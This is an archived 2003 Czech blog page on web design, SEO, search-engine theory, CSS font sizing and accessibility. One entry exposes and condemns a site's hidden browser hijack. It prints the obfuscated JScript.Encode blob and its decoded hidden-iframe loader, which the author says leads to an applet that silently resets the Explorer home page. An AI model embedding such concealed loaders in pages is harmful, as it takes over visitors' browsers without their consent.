Stránka z archivu.
pondělí, 30. červen 2003
Lukin na Letem světem hořekuje nad dominantním postavením ne úplně dokonalého vyhledávače Google. Marek Prokop totiž poukázal na dvě nově známá pravidla URL pro Google:
Tato nová "pravidla" jsou dobrou ukázkou toho, jak celá diskutovaná problematika optimalizace pro vyhledávače je spíše uměním než vědou. A že to nikdo pořádně nezkoumá. Když se totiž podíváte na výsledky vyhledávání na nějakém serveru, který ídéčka používá, je na první pohled něco špatně. K odhalení neindexování ídéček přitom vedla jedna malá zmínka zaměstnance Google, který je znám pod nickem GoogleGuy:
"id=" usually marks a session id, so if you can rename that I would.
Volně přeloženo: ""id=" obvykle znamená session-id, takže jestli to můžeš přejmenovat, tak bych to přejmenoval." Což například Interval.cz dnes udělal, protože tamní články s id identifikující číslo článku prostě nešly najít. Na druhou stranu myslím, že v září Interval zaznamená dvoj- až trojnásobné zvýšení návštěvnosti (a nebude to pouze sezónní jev), Google si ho totiž najde. Podobná úprava čeká spoustu dalších serverů, namátkou zmíním např. pooh.cz.
Oproti tomu podtržítko v url není takový problém, protože pak Google jenom špatně chápe hranice slov. Pak blbě prohledává url. Což v českém prostředí bez diakritiky stejně moc nevadí. Navíc url není pro pozici ve vyhledávání zas tak podstatná.
Jsem rád, že to nemusím psát já, napsal to za mě Marigold. Příspěvek Panika na blogerské kurze chápu jako nepřímou reakci na Dakmarsterův žalozpěv, že bloggeři už nejsou elita. Objevil se totiž blogovací nástroj pro širokou veřejnost na blog.lide.cz. Nevidím to jako problém.
Marigold přidává zajímavý postřeh, kolem kterého se myslím bude točit další vývoj weblogů:
Pokud by něco české blogerské scéně prospělo, pak ne neumožnění novým blogerům nástup na scénu, ale vytvoření pevné hierarchie a nomenklatury pro příspěvky, aby bylo možné nechat si na Blogportálu vypsat pouze přízpěvky na téma počítače nebo politika či sex a nebylo nutné prodírat se hromadou přízpěvků na témata, která vás nezajímají. (Patrik Zandl, Marigold.cz)
sobota, 28. červen 2003
Na IVT logu jsem si poprvé všimnul pěkného praktického použití obrázkového kurzoru deklarovaného přes styl. Autor dj Padák použil konstrukci html, body {cursor: url('cursor.cur')},
kde to cursor.cur je jméno souboru s kurzorem. Na stránce se potom namísto běžného kurzoru objevuje obrázek. Už strašně dlouho jsem chtěl na tuhle vlastnost udělat návod, ale jsem na to hrozně línej.
Na IVT log jsem původně šel přečíst si o standardních zápisech data a času. Je to docela hezky zpracovaný přehled časových formátů, ale asi že už je dnes pozdě, takže mi moc není jasné, kdy to jak použít. Je to moc teoretické. Odkaz sem dávám, protože vím, že se mi to někdy bude hodit.
Reakce: na Conblogu je drobné doplnění a pár varujících připomínek, které vítám a souhlasím s nimi.
čtvrtek, 26. červen 2003
Další zajímavou šablonu pro EasyBlog (program, který používám na psaní blogu) udělal Vít Dlouhý. Ukazuje se, že různé sešitové a obrázkové layouty se pro dnešní prohlížeče dají dělat prostým zapojením kaskádových stylů bez použití tabulek, skriptů a proprietálních konstrukcí.
středa, 25. červen 2003
Hlavní stránka Sovy v síti má zastaralý obsah. Celá se věnuje e-zinu, který už déle než půl roku nevychází.
Těžiště výborného projektu Sova v síti se zcela přesunulo do weblogu. Na hlavní stránku by se podle mého názoru mohl přesunout archiv e-zinu. Ještě lepší by bylo dát tam jenom dva odkazy -- na weblog a na archiv e-zinu. Nic víc.
Související články: Novinky a zdůrazněný obsah, Starý obsah - špatný obsah (oboje weblog Sovy v síti). Šťouchání do Sovy: klikací logo, zvětšovací písmo (oboje tento weblog)
Reakce a souvislosti: Diví se Yuhů jen "na oko" ? (Techblog), Počtvrté šťoucháme do Sovy (Bart na Letem světem)
Ano, blogovací systém blog.lide.cz byl vytvořen spíše pro primitivní uživatele. Krásný přehled nejpříšernějších blogů na lide.cz a na bloguje.cz udělal Elka.
Český překlad W3C doporučení pro jazyk XMTML 1.0 je na adrese http://www.zralog.cz/translate/TR/REC-xhtml1-20020801/Overview.html. Odkaz jsem našel v DagBlogu.
úterý, 24. červen 2003
Z počítačových návodů často dostávám vyrážku. Třeba dneska jsem četl na jednom webu, který raději neodkazuji:
Chcete si udělat vlastní www stránky? Není nic jednoduššího! Zvládne to každý. Poradíme vám, jak na to...
Podobné kecy jsou také skoro v každé knížce. A to to ani nejsou marketingové knížky, tam bych to pochopil. Jsou to normální knížky návodů. Znám spoustu lidí, co si někde přečetli, že "udělat stránky je hračka", ale pak si říkali: "to jsem ale debil, že to nezvládnu, když je to tak snadné". A otráví je to. Jenomže je to opravdu taková hračka?
Není. Dělání stránek je pro normálního člověka pekelně těžké. Když se mě někdo ptá, co potřebuje, aby si mohl udělat stránky, říkám mu: spoustu času, trpělivost, zápal a pevné nervy. Ne každý má totiž čas a chuť učit se jazyk HaTlaMatLa, ne každý ví, že existuje něco jako FTP (o pasivním režimu přenosu FTP z podnikových sítí nemluvě). Každý začátečník se dvakrát osypal, když zjistil, že každý prohlížeč kreslí stránky jinak. Všichni bojují s levým menu, s obtékanými bloky, s tabulkami, s češtinou. Kroutí hlavou nad syntaxí CSS, pletou si Javu s JavaScriptem a nechtějí se učit HTML, protože slyšeli, že PHP je lepší.
První začátečníkova stránka se na serveru zobrazuje bez obrázků, protože je na server nenahrál. Začátečník to ale neví, protože ze svého počítače obrázky vidí použiv v editoru nevědomky src="file:///něco". Teprve třetí verze s relativními adresami je správně. Kdo to má ale vědět? A co jsou ty dvě tečky v relativní adrese? V tomhle výkladu bych mohl pokračovat do nekonečna. Spousta zdánlivě zřejmých věcí je ve skutečnosti prostě šifra (dvě tečky pro nadřazený adresář jsou dobrý příklad). Proto mě vždycky uvádí v úžas počítačové návody, které tvrdí, že je něco jednoduché, snadné. Nebo prosté. Ano, "prosté", to je to slovo.
Když jsem dělal lektora, nikdy jsem nepoužil větu, že je něco jednoduché. Co to znamená, že je něco jednoduché? Že tomu já rozumím? Že jsem se to učil týden a pak jsem to nakonec pochopil? Je to stejný princip jako arogance počítačových "specialistů". Znáte to: přijde SPRÁVCE sítě k BLBÉMU uživateli, který neví, co se stalo s jeho prohnilými Windowsy. Správce milostivě dvakrát někam naprosto magicky klikne a odchází s kletbou, že to je přece JEDNODUCHÉ a příště už to dělat nebude. OK, pochopím to u týpků, co neumí mluvit s lidmi, tak v pracovní době mluví se servery. Ale proč tohle arogantní chování dávat do nápověd, návodů a knížek?
Jakou to má souvislost s webdesignem: vtip je v předpokladech. Autor blbého návodu předpokládá, že čtenář ví zhruba totéž, co on. Autor blbého webu dělá stejnou chybu. Čtenář totiž nemusí vědět vůbec nic. Nějak jsem se rozkecal, pokračování příště...
Měl jsem napsanej příspěvek o Google na šest odstavců, jenomže ten méněcenný operační systém, který mám na noťasu, najednou spadnul a je to fuč. Fakt nemám náladu psát to znova. Asi budu příspěvky psát napřed v Notepadu, sejvovat a teprve potom je zkopíruju do EasyBlogu.
neděle, 22. červen 2003
Anotace článků Karla Pánka o vyhledávačích. Články vycházely v roce 2002 na Lupě.cz pod označením Jehla v kupce sena. Žádné jiné odbornější texty o architektuře vyhledávačů jsem v češtině nenašel. Není to lehké čtení, je tam dost matiky. Musel jsem si to vytisknout a číst dvakrát. Jednotlivé články na sebe navazují, takže je to potřeba číst postupně. Nebo použít těchto subjektivních abstraktů:
Proč nám fulltextový stroj nerozumí -- úvod do problematiky fulltextového hledání, statistiky o dotazech uživatelů, výpočet PageRanku, zmínění metavyhledávačů.
Jak pracuje metavyhledávač? -- metavyhledávač nemá svojí vlastní databázi dokumentů, ale pokládá dotaz jiným vyhledávačům (dílčí vyhledávač = DV). Nestejnorodost různých DV přináší problém s přesností a řazením výsledků. (To se řeší metaindexem, což je matice, kde ve sloupečcích jsou DV a v řádcích pozice výsledku. Hodnotami jsou čísla určující, jak moc tomu výsledku věříme. Není mi jasné, jak ta čísla získat.) U nás metavyhledávače nejsou, což je podle mého názoru způsobeno velkými náklady na vývoj po spuštění.
Architektury a modely webových strojů -- zmínka o centralizované a distribuované architektuře včetně odkazu na Harvest, což je implementace distribuované architektury používající systém gathererů a brokerů, který jsem z článku nepochopil. Důležitější jsou modely vyhledávání.
Modely vyhledávání:
Vektorový model je důležitý a používaný. Přišlo mi to hodně složité, ale když jsem si to přeložil do selského rozumu, řekl jsem si, že to je logické a přesně takhle bych to implementoval. Dokumenty i dotazy jsou v n-rozměrném prostoru (kde n je počet všech slov) reprezentovány vektory. Souřadnice v n-tém rozměru říká, jak moc je dokument pro n-té slovo relevantní. Dokumenty podobné dotazu mají vektor podobného směru jako vektor dotazu. Ta podobnost se zjistí skalárním součinem (dobře se počítá). Ještě před tím se vektory znormalizují na jednotkovou délku, aby delší dokumenty nebyly bezdůvodně zvýhodněny.
Váha (w) slova v dokumentu se dá počítat různě, v článku je vzoreček zohledňující délku dokumentu i obecnou vzácnost slova.
Rozšířený boolský model -- jak boolský, tak vektorový model potřebují zpřesnit ve chvíli, kdy se hledá více slov najednou. Omezení boolského modelu je dáno tím, že existují pouze stavy 0 - slovo v dokumentu nenalezeno a 1 - slovo nalezeno. Když se ale vezmou v úvahu hodnoty mezi 0 a 1 (jako ve vektorovém modelu) a metoda výpočtu z boolského modelu, dají se dotazy nakreslit do grafu, z nějž je už vidět vzoreček pro výpočet podobnosti dotazu s dokumentem (podle kterého se budou řadit výsledky).
Ve vzorečku pro rozšířený boolský model je konstanta zvaná p-norma, jejímž nastavením se dají získat výsledky podobné boolskému modelu (p-norma = nekonečno) nebo vektorovému modelu (p-norma = 1). Ale hlavně se dá získat něco mezi! Rozšířený boolský model je teoretickým sjednocením boolského modelu s modelem vektorovým.
Šrotujeme text -- aby vyhledávač mohl přesně indexovat, měl by mít všechny dokumenty postahované. Při ukládání je dobré dokumenty předchroustat (teprve potom se indexují). Lexikální analýza se snaží řešit problémy s tečkami, čísly a podobnými znaky. "Stop slova" jako předložky a spojky se vyházejí, protože jsou stejně všude a nic neznamenají (tím se zmenší index). Stemming je jazykový převod slova na kořenový tvar. Podobně se chová thesaurus, což je slovník synonym. Indexování je předzpracování dat do takového tvaru, aby v tom šlo rychle hledat. Je zmíněna metoda, kdy se pro každé slovo dělá index obsahující id dokumentu plus váhu slova v tom dokumentu.
Jehla v kupce sena: Thesaurus -- thesaurus je slovník synonym. Ve vyhledávačích se používá pro zpřesnění dotazu (např. tak, že jsou do dotazu přidána skrytá slova -- synonyma). Článek se zabývá automatickou výstavbou thesauru (jsou tam vzorce), kdy se na bázi stažených dokumentů provádějí korelační výpočty určující, jak jsou dvojice slov navzájem související.
Sběr zpětné vazby -- vychází se z předpokladu, že uživatelé klikají na ty výsledky, které lépe odpovídají zadanému dotazu. Všechna kliknutí se pomocí redirectu dají monitorovat. Čekal bych, že se to bude nějak započítávat do indexu, v článku je ale popsána možnost ovlivňovat položený dotaz podle konkrétního uživatele. Moc jsem to nepochopil.
Fulltextový stroj na 72 řádcích -- praktický příklad zdrojového kódu (asi) funkčního fulltextového vyhledávače. Program je napsaný v unixovém/linuxovém interpretu sh. Používá běžné utility jako lynx, sort, tr nebo join. Pro jednoduchost indexuje jenom lokálně uložené dokumenty. Výstup je primitivní, ale pro ilustraci to stačí.
Jak vypadá Google uvnitř? -- přehled modulů vyhledávače Google s nástinem funkce. Moduly jsou URL server, crawler, úložiště, indexovač, URL resolver a třídič. Zmíněn algoritmus vyhodnocování dotazu.
Další články Karla Pánka
na Lupě jsem pominul, protože mi nepřijdou tak zajímavé. Domnívám se, že
je to tentýž Karel Pánek, co provozoval vyhledávač Empyreum, ačkoli je to v
článcích výslovně popíráno (jako že je to shoda jmen -- cha cha).
Empyreum v roce 2002 kralovalo českému
trhu vyhledávačů, prodávalo výsledky mimo jiné Seznamu a nechci kecat, ale
myslím že i Atlasu a Redboxu. Podle důvěryhodného vyjádření jednoho
bývalého redaktora Lupy je autor článků jiná osoba než Karel Pánek, který provozoval
vyhledávač Empyreum.
čtvrtek, 19. červen 2003
Pů upozorňuje na existenci Cygwinu a já s ním souhlasím v tom, že je to sbírka programů hodná odzkoušení. Na první pohled vypadá jenom jako konzole, ale zvládá na Windowsech nasimulovat všechny základní funkce Unixu/Linuxu. Je fakt, že Cygwin občas dělá divné věci, ale to zas tolik nevadí. Stahujte z mirorrů.
Možná se mi budete smát, že už ten program dlouho znáte. Já jsem o něm věděl, ale že je fakt zajímavý, jsem zjistil až dneska. Prostě jsem si ho zkusil nainstalovat a ono je to skoro to samé, co HomeSite (akorát to není software za $90 jako HS, ale postcardware, tedy program za pohlednici).
Golden HTML editor se dá stáhnout ze stránek http://www.oknet.cz/lide/pavelp/ghe/. Pokud rádi píšete kód a nechce se vám utrácet, pak je Golden HTML editor vedle EasyPadu nebo PSPadu další perfektní české řešení.
úterý, 17. červen 2003
Stačí změnit adresu stránek a je to. Po dvou měsících pomalu staré stránky mizí z výsledků a nové se objevují hluboko propadlé. To nebyl záměr.
Mnozí asi víte, že jsem měl stránky Jak psát web dlouho na adrese http://dusan.pc-slany.cz/internet/ , což je adresa vpravdě šílená. Dlouho jsem přestěhování na rozumější adresu odkládal, právě protože jsem nechtěl vypadnout z vyhledávačů. Ve chvíli, kdy jsem protnul hranici pěti set unikátních uživatelů za den a Google toolbar ukazoval u PageRanku šestku, jsem začal o vlastní doméně vážně uvažovat. Hledal jsem mechanismus, jak pozici ve vyhledávačích přenést na novou doménu.
Jedinou radou bylo přesměrování stránek na straně serveru -- 301 moved permanently. 12. dubna se to stalo. Všechno z adresáře http://dusan.pc-slany.cz/internet/ přesměroval správce našeho serveru na adresu http://www.jakpsatweb.cz/. Pak jsem sledoval Google a modlil se.
Google dlouho vracel výsledky jako předtím, směrované na starou doménu. Vydžel to i přes asi historicky největší Google Dance jménem Dominik, který probíhal v květnu. Před Dominikem ukazovala nová doména na toolbaru neznámý page rank, po Dominikovi nulu. Důležité ale je, že v tomto mezidobí se ve výsledcích objevovaly výsledky i ze staré i z nové domény, ačkoli stará je přesměrovaná. Vyvodil jsem z toho, že Google naprosto ignoruje přesměrování na straně serveru 301 moved permanently a chápe to jako dva zcela jiné weby. Google stále vracel výsledky na starou doménu jako důležitější, takže třeba na hledání slova "CSS" v češtině jsem měl stále první místo, takže návštěvníci chodili a já byl docela v klidu. Až do dneška.
Už asi dva dny běží Esmeralda, další Google Dance. Stránkám Jak psát web sice přisoudila page rank 4, ale ve výsledcích jsem na každou optimalizovanou frázi nejlépe ve druhé desítce výsledků. Doufám, že se časem vyhrabu někam výše (děkuji všem, kdo na mě odkazují). Z toho ale vyvozuji doporučení:
Pokud musíte stránky s dobrým umístěním ve vyhledávačích přesouvat na nějakou novou adresu a záleží na tom, aby byly k nalezení, zvolte nějakou měkčí formu přesměrování než moved permanently. Osobně bych tam dal asi odkaz, javascript nebo meta refresh.
Důležité doplnění: během několika dnů jsem se do výsledků vrátil. Doporučuji 301 moved permanently. Více v příspěvku Jak zmatkovat nad Googlem.
Jan Kuneš ve článku Atlas.cz testovaný na lidech (Živě) píše něco málo o tom, jak použil Atlas uživatelské testování pro vývoj služeb a hlavní stránky. Škoda jen, že neuvedl přesnější zdroj než pouze "podle zástupců Atlasu" nebo "podle Alexandry Gjurićové".
Stránkám "MSIE only" je odzvoněno, píše Pixy v blogu. Opírá se o skutečnost, že MSIE 5 pro Mac se nebude dále vyvíjet. Uživatel Macu tak na svém počítači Explorer v budoucnu vůbec nemusí mít. Je to dobře napsané, pouze bych si dovolil upozornit, že to není nic nového. Pro Linux MSIE neexistoval nikdy, takže "MSIE only" řešení byly v zásadě špatné vždy. Teď budou jenom trochu více.
pondělí, 16. červen 2003
weblog je po formální stránce triviální. Přesně to z něj činí zbraň těžkého kalibru (Marek Prokop, Lupa)
Ve článku Weblog marketing Marek znovu probírá důvody, proč jsou weblogy tak populární a nově píše o tom, jak se toho dá použít i v profesním světě. (Odkaz jsem našel na Conblogu.)
Pamatuji si na první vlnu zájmu o webové stránky. Kdo s tím přišel do styku, byl uchvácený, protože stránky se daly
Časem se na web vrhla komerce a všichni známe, jak vypadají "designované" stránky, na kterých není žádný zajímavý obsah. Všichni si mysleli, že tím směrem se web bude ubírat dál. Kdo před dvěma lety neměl dynamicky generovaný a animovaný obsah, byl za hlupáka. Nikdo na nikoho neodkazoval, protože by mu to ubralo zákazníky. Stránky se chtěly podobat spíš programům než textům.
Ale to už jsme všichni probrali mockrát. Když dnes pozoruji rozmach weblogů, tak si fakt myslím, že jde o návrat ke kořenům. Máš informaci? Šup s ní na web. Je to texťák, čte se to jako texťák. Úspěšné, protože snadné.
Skupinu stránek, které k sobě patří, neumím jednoznačně česky pojmenovat. Z angličtiny znám slovo site, čteno sajt. Hodil by se mi český ekvivalent vyjadřující podobnou adresu, podobný vzhled a podobnou funkci stránek dělaných v jednom balíčku.
Mluvívám o tom jako o "webu", ale to zdaleka nevystihuje přesně tu ohraničenost, neb tu máme i ten web široký světový. Píšu o tom jako o "serveru", což se blbě plete se serverem hardwarovým i softwarovým. Když použiju termín "doména", je to zase mimo. Zatím nejlepší srozumitelnost dosahuji vyjádřením "ty stránky", což je zase ubohé.
Nepřišel jsem na chuť ani poangličtěnému "sajt", anglicky psané "site" je zase v českém kontextu nesrozumitelné. Možná je čas na úplně nové slovo. Nebo to pojmenovat nějakým slovem starým (ne však tak pochybně jako třeba "klubko" nebo dokonce "hnízdo"). Poradíte? Napište mi.
středa, 11. červen 2003
Mezi uživateli internetu jsou i lidé, kterým zrak chybí úplně nebo jim ho už moc nezbývá - ve slepecké komunitě zvaní zbytkaři. Tomáš Valůšek zareagoval na můj neúplný přehled možnosti zvětšování písma a napsal zajímavý komentář, který zde rád publikuji:
Zbytkaři jsou web designéry v podstatě nucení využít následující způsob zvětšování textu - přikázat prohlížeči, aby ignoroval velikosti písem definované na stránce (Nástroje > Možnosti internetu, karta Obecné, tlačítko Usnadnění).
V této souvislosti ovšem vstupuje do hry další chyba prohlížeče - při výše zmíněném nastavení sice kašle na velikost písma, ale nekašle na line-height, takže dost často dochází k překrývání řádků stavěných na menší písmo, než mám nastavené. To řeší uživatelský CSS tohoto znění:
@media screen {
* {line-height:1.2em!important}
}
Toto nastavení pomůže v 98% případů. Vyskytne-li se však problém s pevnou velikostí obklopujícího prvku (nejčastěji buňky tabulky), bývá text pro změnu useknut. Naštěstí jde obvykle o různá navigační menu, která se občas dají skousnout i tak.
Jen bych připomněl, že pro lidi nevidomé či se zbytkem zraku je internet daleko důležitějším zdrojem informací než pro většinu ostatních lidí, neboť jim umožňuje dostat se k věcem, jež by jinak museli získávat prostřednictvím ochotných předčitatelů.
Tomáš Valůšek, tvalusek@vs.inext.cz
pondělí, 9. červen 2003
Na stránkách www.netcross.cz je kódovaný javascript, který stáhne iframe, který stáhne applet, který v Exploreru bez varování přenastaví domovskou stránku.
Opět jsem se utvrdil v tom, že procházením cizích skriptů se člověk nejvíc naučí. Když mě Tomáš upozornil, že NetCross automaticky nastavuje netcross jako domovskou stránku, tak jsem skoro nevěřil, že je to možné. Ale je to tak. Dělá to nějaký java applet. Mnohem zajímavější mi ale přišel způsob, jak je applet ve stránkách ukrytý. Na první ani na druhý pohled totiž ve zdroji není vůbec nic vidět. Teprve pečlivá prohlídka zaznamenala podezřelý skript:
<script language = JScript.Encode> #@~^bwAAAA==@#@&NG1Es+xDRS.kD+cJ@!kW.m:+,Ak9Yt{q~t#kTtO'q~kD^'E4YDwl&JhhA +OmMGk/ 1yJlN7+MOz1W;xDR24aB@*@!&k6Dlsn@*J*i@#@&UyMAAA==^#~@ </script>
Znáte jazyk JScript.Encode? Já jsem ho neznal. Umí ho Explorer od verze 5. Autor napíše normální skript a zakóduje ho pomocí microsoftího programu srcenc. Nic, co bych doporučoval používat, ale asi je dobré vědět, že to existuje.
To kódování není tak triviální, protože narozdíl od jiných podobných věcí není napsané v Javascriptu, ale přímo implementované v Exploreru. Řešení jsem hledal dost dlouho, než jsem zjistil, že v rozkódované verzi je ten šílený řetězec takovýhle skriptík:
document.write( "<iframe width=1 height=1 src='http://www.netcross.cz/advert/count.php'> </iframe>" );
Podle toho, jak to autor kódu maskoval, je jasné, že nemá čisté svědomí. To PéHáPko posílá další javascript, který zapisuje applet Count.class, ten applet se spouští a využitím nějaké slabiny Windows přenastaví výchozí stránku. Věřím, že zájemci si to dopitvají sami, protože appletům nerozumím. Než ale začnete podobné applety psát a používat, vězte, že to považuji za hanebnost.
Reakce a souvislosti: Netcross podruhé (Weblog Karla Černého) obsahuje "sympatické" vyjádření autora kódu; Netcross.cz a divné praktiky (tamtéž); Pozor na vlezlé webové stránky (Pooh.cz); NetCross: nevinný trik či hanebnost (SVS)
neděle, 8. červen 2003
Přes Potápníka jsem se dostal na generátor designů StrangeBannana. Klikal jsem asi deset minut :-) Je to sranda i poučení.
Sova v síti upravila stylopis a její písmo je v Exploreru zvětšovací. Tuto změnu provází obsáhlý příspěvek o velikostech písma s výčtem čtyř způsobů, jak to udělat. (Při čtení jsem si trochu vyčítal, proč se mi na disku už šest týdnů válí nedokončený text o velikosti písma v CSS.) Marek Prokop nakonec pro Sovu zvolil úpravu velikosti písma pomocí procent, kterou bych na to se svými nynějšími znalostmi taky aplikoval. Avšak dodal:
Lze nastavit velikost písma i na méně než 100 %. V principu je to ale hloupost, neboť tím vlastně říkám, aby se písmo zobrazilo menší, než si přeje uživatel, který si třeba ve svém prohlížeči výchozí velikost vědomě nastavil. (Marek Prokop, SVS, 7. 6.)
Na to zajímavě reagoval Lukin a mně nezbývá, než to podepsat:
nesouhlasím s Markem v přesvědčení, že používat defaultní velikost písma menší než 100% je hloupost. Nemyslím si totiž, že oněch 100% je velikost, kterou "si přeje uživatel, který si třeba ve svém prohlížeči výchozí velikost vědomě nastavil" . Netroufám odhadovat nějaká čísla, ale pochybuji, že běžný čtenář někdy šáhne na nastavení defaultního textu v browseru. (Lukáš Oborský, Letem světem, 8. 6., podepsán též Yuhů)
Celou událost zaznamenali též Potápník, ConBlog a možná i další. Marku Prokopovi musím poděkovat za to, že moje šťouchance trpí a dokonce se podle nich i zařizuje. Teď si budu moci číst Sovu krásně zvětšenou na jakémkoli počítači. Ve třetím díle to už budu mít těžší, tam se asi pohádáme :-) Kdybyste si někdo chtěli rýpnout do mě, budete vítáni. Problém bude snad jen v tom, že co se kritiky týká, jsem hrozný flegmatik.
sobota, 7. červen 2003
Úplně zapomeňte na písma WIN+CE (např. "Arial CE", "Verdana CE" atd.). Ukázalo se, že působí víc škody než užitku.
Pixy vydal finální řešení s otazníkem, kde probírá aktualizované výsledky testů českých písem. Kdysi jsem se tím také chtěl zabývat, ale nyní jsem šťastný, že už to někdo udělal :-) Objevuje se příjemný trend zjednodušování, nyní Pixy v odstavci "typické sady písem" doporučuje jednodušší zápisy než dříve.
Když jsem se pokoušel předpovědět Půovu reakci na Nový seznam, byl jsem mimo. Už to dělat nebudu. Příspěvek Mýtus kvality seznamu dostává na prdel (Daniel Dočekal, Pooh.cz) odkazuje na kritický článek o Novém seznamu a dodává:
Proti barvám nemám vůbec nic a jestli jsou někde screenshoty? Je mi to uplně jedno.
čtvrtek, 5. červen 2003
Mějme syntaxi
zip[-3:] + ' ' + zip[:-3]
Vyberte, co to znamená
E-learning - praktické použití weblogů, David Bureš, DigiWeb.
Tajné funkce Toplistu, Pavel Francírek, Franciho blog.
Google PageRank - slavný trik velkého kouzelníka, Martin Kopta, Lupa.cz.
Co se děje s portálovými katalogy, tentýž Martin Kopta, tentýž DigiWeb.
středa, 4. červen 2003
Sova v síti nedovoluje čtenářům s Inernet Explorerem pohodlné zvětšení písma. Za deset minut dojede autobus do Slaného, tak to využiju na další díl našeho seriálu :-)
Že mám Sovu v síti moc rád a pravidelně přispívám k její velké návštěvnosti, už jsem psal v prvním díle. Kdybych si mohl zvětšit písmo, četl bych ji ještě raději. Autor Sovy Marek Prokop má ve stylopisu velikost písma nastavenou na 13 pixelů, dříve to měl v jednotkách pt. Písmo zadané v pixelech nebo v pt si normální uživatel v Exploreru nemůže příkazem Zobrazit > Velikost písma. Jedná se o chybu prohlížeče, ale jde o prohlížeč velmi rozříšený. Nevím, kolik procent uživatelů tuhle možnost zvětšování zná a používá, já ji ale používám hodně. Mám totiž často velký a často malý monitor, navíc hůř na ta písmenka vidím.
Znám tři možnosti, jak si můžu nyní zvětšit písmo v Sově v síti:
Pominu-li změnu prohlížeče, jedná se o způsoby nedostatečné. Jednak vyžadují nemalou znalost práce s kaskádovými styly či skripty, takže je většina uživatelů nemá šanci použít. Například pro definici uživatelského stylu by čtenář musel vytvořit css soubor (v případě sovy se selektorem ve tvaru #sovavsiti tag {deklarace}) a pak ho kdesi v zákulisí prohlížeče nastavit.
Vážnější důvod je třeba pro mě ten, že dost často pracuji na jiném počítači. Obecně vzato (jako mnoho lidí) pracuji na mnoha počítačích. Nyní musím na každém z nich definovat uživatelský styl, instalovat Mozillu nebo psát bookmarklety.
Doplněno: dva čtenáři (SuE a Tomáš Valůšek) mě správně upozornili, že existuje ještě čtvrtý způsob zvětšování pixelově zadaného písma. Nastavuje se to v Exploreru v Nástroje > Možnosti > Obecné > Usnadnění > Ignorovat velikosti písem. Všechna písma jsou potom nastavená na základní velikost a dají se zvětšovat.
Ne, že bych weblog Vosu na jazyku měl kdovíjak rád a pravidelně četl. Ale způsob, kterým zakončila existenci, je působivý.
úterý, 3. červen 2003
Plyšák mě upozornil na zajímavý článek o dalším vývoji Internet Exploreru, resp. o jeho dalším nevývoji. Marek Trefný na Technetu píše o novém operačním systému longthorn a jeho souvislosti s Explorerem. Vím, že už o tomto tématu byla zmínka na Sově, ale nestihl jsem si to přečíst, tak až teď.